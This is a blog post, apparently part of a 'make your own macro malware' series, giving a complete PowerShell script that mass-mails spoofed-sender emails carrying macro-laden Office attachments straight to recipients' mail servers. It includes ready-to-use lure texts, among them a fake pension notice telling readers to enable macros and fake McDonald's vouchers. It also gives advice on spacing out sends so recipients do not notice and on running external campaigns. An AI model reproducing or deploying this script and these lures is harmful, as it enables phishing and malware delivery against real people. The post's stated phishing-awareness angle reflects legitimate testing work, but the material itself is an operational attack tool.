May 24, 2018

PowerShell :: a macro malware sender

PowerShell ISE logo
(Last Updated On: 20th September 2016)

Hopefully you have landed here having read Part I and Part II of my How to make your own macro malware series and already have a little context behind this script.  In short, it came from a need to send an email with an attachment to hundreds of recipients whilst alternating the email content and spoofing the sender.  The script started off quite small, using a MIME template I had intercepted but evolved to generate its own basic MIME structure which removes the responsibility from the user.

I have developed the script to require as little user input as possible whilst still being able to produce credible emails.  I will try and cover these inputs assuming you have no background in PowerShell and then at the end of the article I will dig a little deeper into what it is doing and why.  The structure of the script is designed to be easy to be understand however I would suggest throwing it into PowerShell ISE so you can collapse /expand chunks of code.  I will also use screenshots from PowerShell ISE for this same reason.

the Code

#### Script Params - Change these
$targetEmailAddresses = "[email protected]", "[email protected]"
[System.Collections.ArrayList]$emails = (
@{
"fromAddress" = "[email protected]"
"fromName" = "Local Government Discounts"
"subject" = "Brand New Local Government Discount Scheme"
"filePath" = "AppleDiscounts.xls"
"emailBody" = "Hi,

We are happy to announce the launch of the NEW Local Government Discount Scheme with a huge range of discounts exclusively for local government employees. The scheme is three years in the making and we have partnered with companies such as Apple, Microsoft and Dell to provide a range of products at up to 40% off the RRP!

I have attached a spreadsheet with some of our current Apple offers, with huge savings particularly on last years iPhones and iPods.

To join the scheme, you can email me directly at [email protected]

Regards,

Neville Fletcher
North East Account Manager
Local Government Discount Scheme"
},
@{
"fromAddress" = "[email protected]"
"fromName" = "Local Government Pension Scheme"
"subject" = "Changes to the Local Government Pension Scheme"
"filePath" = "LGPS-PensionUpdates_Sept2016.doc"
"emailBody" = "Hi,

PSA a copy of the proposed amendments to the Local Government Pension Scheme.

As you are aware, the scheme has been under review since that last amendment in Sept 2012. The Pension Minister has approved the latest changes to the scheme, most notably the access to a larger commutable lump sum as of the 18th August 2016. This has triggered a consultation period of 30 days which is nearly over.

Should you have any concerns over the proposed changes then you may contact us at [email protected]

The attached document is classed as [SENSITIVE] so is encrypted. When macros are enabled, it will decrypt itself as long as you are within a local government network.

Regards,

Patricia Dowson,
Secretary to the Pension Minister
Local Government Pension Scheme

"
},
@{
"fromAddress" = "[email protected]"
"fromName" = "McDonalds Promotions"
"subject" = "McDonalds eVouchers Autumn 2016"
"filePath" = "McDonalds-Vouchers.doc"
"emailBody" = "<html>
<body>
<center>
<img src = 'https://upload.wikimedia.org/wikipedia/commons/thumb/a/a9/Mcdonalds-90s-logo.svg/675px-Mcdonalds-90s-logo.svg.png'>
<br>
<h1 color='red'> It's Voucher time at McDonalds! </h1>
</center>
Lucky you!
<br>
<br>
McDonalds have partnered with Recyclenow, Recycling campaigners which reside here in the UK who are fully supported and funded by the government. We are trialling our latest e-voucher scheme in an attempt to help the environment by reducing paper waste from physical vouchers. We hope you enjoy your free Big Mac and Happy meal included in this offer, instructions on how to redeem your voucher are included within the e-voucher itself.
<br>
<br>
Have a good day,<br>
Thank you
"},
@{
"fromAddress" = "[email protected]"
"fromName" = "Marstons Pubs and Taverns Ltd"
"subject" = "VIP Invite to the opening of the <insert pub name>"
"filePath" = "Opening_LaunchMenu.doc"
"emailBody" = "<html>
Hi,
<br><br>
As an employee of <insert company name>, you are invited to the official opening of our new restaurant on <insert address>.
<br><br>
We are super excited to bring to you our brand new A La Carte Menu at the low prices you expect from a Martsons pub. The event takes places this Saturday, 24th September and our fantastic new menu is attached.
<br><br>
We hope to see you there!<br>
The team at Marstons Breweries.<br>
<center><img src = ‘https://upload.wikimedia.org/wikipedia/en/9/97/Marstonslogo.PNG’></center>
</html>
"
},
@{
"fromAddress" = ""
"fromName" = ""
"subject" = ""
"filePath" = ""
"emailBody" = ""
},
@{
"fromAddress" = ""
"fromName" = ""
"subject" = ""
"filePath" = ""
"emailBody" = ""
}
)

### Script definitions - No need to change any of these but can if you need. beware things may break
$delayInSeconds = 30
$messageIDCharacters = "1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"
#$overideSmtpServerIPAddress = "1.2.3.4" ## Comment this out to send direct to the email targets smtp server
$messageIDSuffix = "@OBSCURED.local"
$uBoundaryString = "uBoundaryString"
$ErrorActionPreference = "Stop"
$fileTypes = @{
"doc" = "msword"
"docm" = "application/vnd.ms-word.document.macroEnabled.12"
"xls" = "application/vnd.ms-excel"
"xlsm" = "application/vnd.ms-excel.sheet.macroEnabled.12"
"ppt" = "application/vnd.ms-powerpoint"
"pptm" = "application/vnd.ms-powerpoint.presentation.macroEnabled.12"
}

### Script Functions - Don't change anything below this comment
function CreateFileHashTable ($filePath)
{
try
{
$file = Get-ChildItem -Path $filePath
$fileName = $file.BaseName
[string]$fileExtension = $file.Extension.Trim(".")
$fileSize = $file.Length
}
catch
{
throw "Can't find file - $filePath"
}
try
{
$fileBase64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($filePath))
}
catch
{
throw "File exists but can't read, is it open? - $filePath"
}
$fileContentType = $fileTypes.($fileExtension)
if (! $fileContentType) {throw "Not a supported content type - $filePath"}
$returnInfo = @{
"attachmentName" = $fileName;
"attachmentExtension" = $fileExtension;
"attachmentContentType" = $fileContentType;
"attachmentBase64" = $fileBase64;
"attachmentSize" = $fileSize
}
return $returnInfo
}

function SendMail ($data, $serverIP)
{
try
{
$emailServer = New-Object System.Net.Sockets.TcpClient $serverIP, 25
$connectionSocket = $emailServer.GetStream()
$connectionTunnelInput = New-Object System.IO.StreamWriter $connectionSocket
$connectionTunnelInput.Write($data)
sleep -Seconds 10 ### Give it chance to transmit
$connectionTunnelInput.Dispose()
$connectionSocket.Dispose()
$emailServer.Dispose()
}
catch
{
echo "Error sending email to $serverIP, are you using a dynamic IP?"
}
}

function GetMXRecord ($emailAddress)
{
try
{
$mxRecord = Resolve-DnsName -Type MX -Name $emailAddress.Split("@")[1] | ? Type -eq "MX"
}
catch
{
echo "Cant get DNS record for $emailAddress"; return
}

if ($mxRecord -eq $null) { echo "No MX records for this email address : $emailAddress"; return }
if ($mxRecord -is [system.array]) { $mxRecord = $mxRecord[0] }

try
{
$smtpServerIPAddress = Resolve-DnsName -Name $mxRecord.NameExchange -Type A
}
catch
{
echo "Cant get DNS record for $mxRecord"; return
}
if ($smtpServerIPAddress -eq $null) { echo "No A records for this MX record : $mxRecord"; return }
if ($smtpServerIPAddress -is [system.array]) { $smtpServerIPAddress = get-random -inputObject $smtpServerIPAddress }
return $smtpServerIPAddress.IPAddress
}

# Parameter validation
ForEach ($i in 0..($emails.Count - 1))
{
if ($emails[$i].keys.Count -ne 5) {throw "Not enough keys in the email hash table at position $i"}
if ($emails[$i].values.Count -ne 5) {throw "Not enough values in the email hash table at position $i"}

ForEach ($key in ($emails[$i].keys))
{
if ($emails[$i][$key] -eq "" -or $emails[$i][$key] -eq $null)
{
echo "Empty value detected in email $i :: key $key - so removing email from array"
$ErrorActionPreference = "SilentlyContinue"
$emails[$i].Add("Remove", $true)
$ErrorActionPreference = "Stop"
break
}
}
}

$tempHoldingArray = $emails.Clone() ### Need this as we are otherwise modifying what we are iterating through
ForEach ($email in $tempHoldingArray){
if ($email["Remove"] -eq $true){$emails.Remove($email)}
}

#Values generated once per execution
[string]$uniqueID = foreach($i in 1..40){Get-Random -InputObject $messageIDCharacters}
$uniqueID = $uniqueID.Replace(' ','')
$messageID = $uniqueID + $messageIDSuffix
$boundaryString = $uniqueID + $uBoundaryString + "_"

#### Generate extra attributes for the different source emails available
ForEach ($i in 0..(($emails.Count) - 1))
{
$emails[$i] += (CreateFileHashTable $emails[$i].filePath)
$emails[$i].Add("bodyBase64", [Convert]::ToBase64String([System.Text.Encoding]::Utf8.GetBytes($emails[$i].emailBody)))
if ($emails[$i].emailBody.Contains("<html>")){$emails[$i].Add("bodyContentType","html")} else {$emails[$i].Add("bodyContentType","plain")}
}
ForEach ($target in $targetEmailAddresses)
{
#Assemble all the values we need for the email.
$dateStamp = get-date -Format "ddd, dd mmm yyyy HH:mm:ss +0000"
$spoofedFileCreationTimeStamp = ((get-date).Addhours(-3) | get-date -Format "ddd, dd mmm yyyy HH:mm:ss ") + "GMT"
$spoofedFileModifiedTimeStamp = ((get-date).Addhours(-2) | get-date -Format "ddd, dd mmm yyyy HH:mm:ss ") + "GMT"
$emailArrayIndex = if ($emails.Count -gt 1) {Get-Random -Minimum 0 -Maximum ($emails.Count)} else { 0 }
$toEmailAddress = $target
$toEmailName = $target.split(".")[0]
$email = $emails[$emailArrayIndex]
$subject = $email.subject
$emailContentType = $email.bodyContentType
$emailContentBase64 = $email.bodyBase64
$emailAttachmentContentType = $email.attachmentContentType
$emailAttachmentBase64 = $email.attachmentBase64
$emailAttachmentName = $email.attachmentName + "." + $email.attachmentExtension
$emailAttachmentFileSize = $email.attachmentSize
$fromEmailAddress = $email.fromAddress
$fromEmailName = $email.fromName
$fromMailServer = $email.fromAddress.Split("@")[1]
if ($overideSmtpServerIPAddress) {$smtpServer = $overideSmtpServerIPAddress}
if (!$smtpServer) { $smtpServer = GetMXRecord $target }
if ($smtpServer -notmatch "\d+?\.\d+?\.\d+?\.\d+?") {echo "Skipping $toEmailAddress as no SMTP server identified"; continue }
### Combine the smtp chunks into a data stream
[string]$smtpCommands = "EHLO mailserver.$fromMailServer
MAIL FROM: <$fromEmailAddress>
RCPT TO: <$toEmailAddress>
"
$smtpData = "DATA
From: $fromEmailName <$fromEmailAddress>
To: $toEmailName <$toEmailAddress>
Subject: $subject
Date: $dateStamp
Message-ID: <$messageID>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: yes
Content-Type: multipart/mixed;
boundary=`"_001_$boundaryString`"
MIME-Version: 1.0

--_001_$boundaryString
Content-Type: text/$emailContentType; charset=`"utf-8`"
Content-Transfer-Encoding: base64

$emailContentBase64

--_001_$boundaryString
Content-Type: $emailAttachmentContentType; name=`"$emailAttachmentName`"
Content-Description: $emailAttachmentName
Content-Disposition: attachment; filename=`"$emailAttachmentName`"; size=$emailAttachmentFileSize;
creation-date=`"$spoofedFileCreationTimeStamp`";
modification-date=`"$spoofedFileModifiedTimeStamp`"
Content-Transfer-Encoding: base64

$emailAttachmentBase64

--_001_$boundaryString--

.
"
$smtpClose = "QUIT
"

#### Send the email
$dataForTransmission = $smtpCommands + $smtpData + $smtpClose
SendMail $dataForTransmission $smtpServer
sleep -Seconds $delayInSeconds
}

How to use it

Okay so you have copied that code and throw it into PowerShell ISE right?  From here all we need to do is make some decisions about how we want this to execute and then feed in some targets and the details for each email to send.

Lets start with those target emails, our recipients.  This is a simple PowerShell array that we will loop through later.  I have included two for you as a template, please don’t hammer us with spam!  The structure is super simple, you just put emails in individual quotes and separate them with commas like so “email”,”email”.

Next up is defining the emails we want to send.  The script is designed with six slots for a maximum of six different emails, however you can expand this by adding in more if necessary.  If you leave a slot blank (there are two blank slots in the code you copied) then the script will simply ignore it.  If you only have one email, then only fill in one slot.  So what is a “slot” and how do we fill it in.

macromalwaresender_emailslot

In the screenshot you can see I have collapsed slot 0,2,3,4,5 and 6 using the [-] in PowerShell ISE, leaving just slot 1 expanded.  A slot is actually a PowerShell hashtable so from here think of it as a table, with some fields that need populating.  As you can see with the emailBody field, you can carry on multiple lines to compose you email. Every field is enclosed in quotes and therefore must not contain a quote (“).

  1. fromAddress The spoofed sender email address, anything at all.
  2. fromName This is what the sender will appear as to the recipient.
  3. subject The subject for the email, something enticing.
  4. filePath The path to that all important macro embedded document.  The script supports .doc, .docm, .xls, .xlsm, .ppt and .pptm.
  5. emailBody Either a plain text (as above) or HTML email.  If you want to use images in your HTML code then make sure they are web hosted as they will not be included in the final email if they are local to your PC.

Any tables not filled in need to have their content set back to “”.  Any tables with at least 1 blank field will be ignored, every field is mandatory here.

Finally, there are two decisions to make.

  1. How long shall we wait between sending emails
    If you have 30 users in 2 offices, it is going to be worth increasing the delayInSeconds between emails as everyone receiving an email at the same time may get them talking and then dismissing it as spam.  If you are sending to 300 home workers, then this can be set down to 0.
  2. Shall we use a single SMTP server
    If you are running this as a system administrator, you should be able to fire all the emails into your mail infrastructure SMTP connector (MS Exchange probably) and therefore you should provide the IP address of this connector in the variable $overideSMTPServerIPAddress.  If you want to connect the recipients SMTP server because you are doing an external campaign, you need to comment this variable out (or delete it).   The script will then attempt to identify the recipients server over DNS, connect and send the email.  Be aware though, if you are using a domestic IP address then chances are the more secure email providers will reject your emails.

With this all filled in, we can execute the script and let it do its thing.

The easiest way to do this without going into stuff like ExecutiorunselectionnPolicy is select the entire script (Ctrl+A) and hit this icon in PowerShell ISE.

That’s it, expand the article to a go a little deeper and learn how this all works.

Coming soon…

Previous «
Next »

Simon is a sysadmin for Local Government in North Yorkshire with a real passion for security and coding.

2 Comments

  1. Pingback: How to make your own macro malware – Part II – Synack
  2. Pingback: PowerShell :: output email addresses from Active Directory – Synack

Leave a Reply

Subscribe to SYNACK via Email

%d bloggers like this: